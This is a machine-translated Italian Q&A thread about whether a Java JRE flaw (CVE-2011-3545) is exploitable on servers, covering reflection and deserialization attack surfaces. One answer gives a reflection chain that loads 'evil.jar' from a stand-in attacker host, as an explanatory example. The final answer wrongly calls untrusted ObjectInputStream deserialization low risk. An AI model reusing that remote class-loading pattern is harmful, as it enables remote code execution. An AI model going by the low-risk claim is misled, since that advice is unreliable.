Su un server su cui è in esecuzione Java, è possibile sfruttare una vulnerabilità JRE anche nei casi in cui il sottocomponente denominato non viene utilizzato dall'applicazione?
Vedi CVE-2011-3545 , per il quale il sottocomponente vulnerabile è "Suono ". La mia app Java non utilizza il sottocomponente Sound.
Questa è una domanda estremamente generica:
È comune combinare diverse vulnerabilità minori, che non sono sfruttabili da sole, per sfruttare un sistema.
Il parser json json carica felicemente qualsiasi classe che viene denominata nell'attributo class di una stringa json. E la motivazione principale per analizzare una stringa json sul server è analizzare i dati del client. I driver JDBC dovrebbero registrarsi sul carico della classe.
Un'altra vulnerabilità minore comune è quella di istanziare gli oggetti dei nomi delle classi forniti dagli utenti tramite la riflessione prima di verificare che implementino l'interfaccia prevista. Ciò consente la creazione di tutti gli oggetti, che hanno un costruttore corrispondente e l'esecuzione del codice in quel costruttore.
Quindi dipende davvero dalla vulnerabilità e dal controllo che può essere esercitato.
Il commento ufficiale sulla vulnerabilità concreta, che hai aggiunto alla tua domanda, è questo:
CVE-2011-3545
Component: Sound
Access Vector: Network
See Note 2
Note 2: Applies to client and server deployments of Java. This vulnerability can be exploited through Untrusted Java Web Start applications and Untrusted Java applets. It can also be exploited by supplying data to APIs in the specified Component without using untrusted Java Web Start applications or untrusted Java applets, such as through a web service.
Se questa è tutta l'informazione disponibile, è necessario aggiornarla. " Access Vector: Network / web services " non suona bene.
Peggio ancora: se il tuo server ha un browser Web con Java installato, qualcuno potrebbe essere tentato di utilizzare il Web per la risoluzione dei problemi. Questa vulnerabilità è sfruttabile visitando il sito Web infetto senza alcuna interazione da parte dell'utente ( unità per download ).
Tramite riflessione, qualsiasi pacchetto sul percorso di classe è potenzialmente utilizzato. Servizi comuni basati sulla riflessione (ad esempio deserializzazione) significano anche che qualsiasi classe caricabile è utilizzabile. ObjectInputStream e altre API comunemente usate possono essere una fonte di vulnerabilità.
Per comprendere i vulns riflessivi: se un utente malintenzionato può ottenere una stringa che controlla in Class.forName o qualche altro meccanismo di riflessione, è probabile che essi possano causare il caricamento di tale classe. Ad esempio, se l'attaccante controlla il valore di s ,
Class<?> clazz = Class.forName(s);
Object o = clazz.newInstance();
quindi possono causare il caricamento di qualsiasi classe visibile al bootloader del bootstrap.
Se l'utente malintenzionato può causare la deserializzazione dei byte da parte dell'applicazione, questi possono causare il caricamento di qualsiasi classe sul classpath. ObjectInputStream cercherà un nome di classe specificato nel suo byte[] e caricherà quella classe per vedere se implementa Externalizable . La classe verrà inizializzata se implementa Serializable .
Naive use of object serialization may allow a malicious party with access to the serialization byte stream to read private data, create objects with illegal or dangerous state, or obtain references to the private fields of deserialized objects.
Serialization and deserialization features can be exploited to bypass security manager checks.
Inoltre, possono essere concatenati più attacchi a API riflettenti. Se l'utente malintenzionato controlla la stringa s0 ... s4 nel riquadro sottostante, possono causare il caricamento di qualsiasi classe:
Class<?> clazz = Class.forName(s0);
Constructor ctor = clazz.getConstructor(s1, String.class);
Object o1 = ctor.newInstance(s2);
Method m = clazz.getMethod(s3, String.class);
Object o2 = m.invoke(o1, s4);
Considera cosa succede quando
s1 = "java.net.URLClassLoader";
s2 = "http://evil.org/evil.jar";
s3 = "findClass";
s4 = "org.evil.Evil";
Gli autori di attacchi che possono specificare le proprietà di sistema possono anche modificare il classpath per includere le classi trojan.
La morale di questa storia è di tenere stringhe e byte non attendibili lontano dalle strutture riflettenti e dalle relative strutture, tra cui la deserializzazione, RPC / RMI, ecc.
Su un server è a basso rischio anche se si sta deserializzando il contenuto non attendibile tramite ObjectInputStream o qualche tipo di serializzazione json / xml. Qualsiasi attacco remoto che utilizza ObjectInputStream richiederebbe probabilmente un exploit per richiamare metodi arbitrari che consentirebbero a un utente malintenzionato di utilizzare Process # start. quindi non è necessario usare l'exploit per fare cose cattive :) serializzazione json che fa newInstance e chiama semplicemente setter dovrebbe essere sicuro pure. se nella tua applicazione ci sono alcuni metodi di setter strani che consentono a un utente malintenzionato di chiamare metodi arbitrari, allora sei già fregato perché potrebbero semplicemente usare Process # per iniziare a chiamare codice arbitrario.
Penso che l'unico modo in cui questo aumenta il rischio è che se si sta facendo la serializzazione è se si sta utilizzando un gestore della sicurezza. se si dispone di un exploit dell'applicazione che consente a un utente malintenzionato di eseguire codice arbitrario, è possibile che un utente malintenzionato disabiliti il gestore della sicurezza in modo che possa eseguire alcuni metodi non validi come Process # start. la maggior parte delle applicazioni server non usa però un gestore della sicurezza ...
Leggi altre domande sui tag java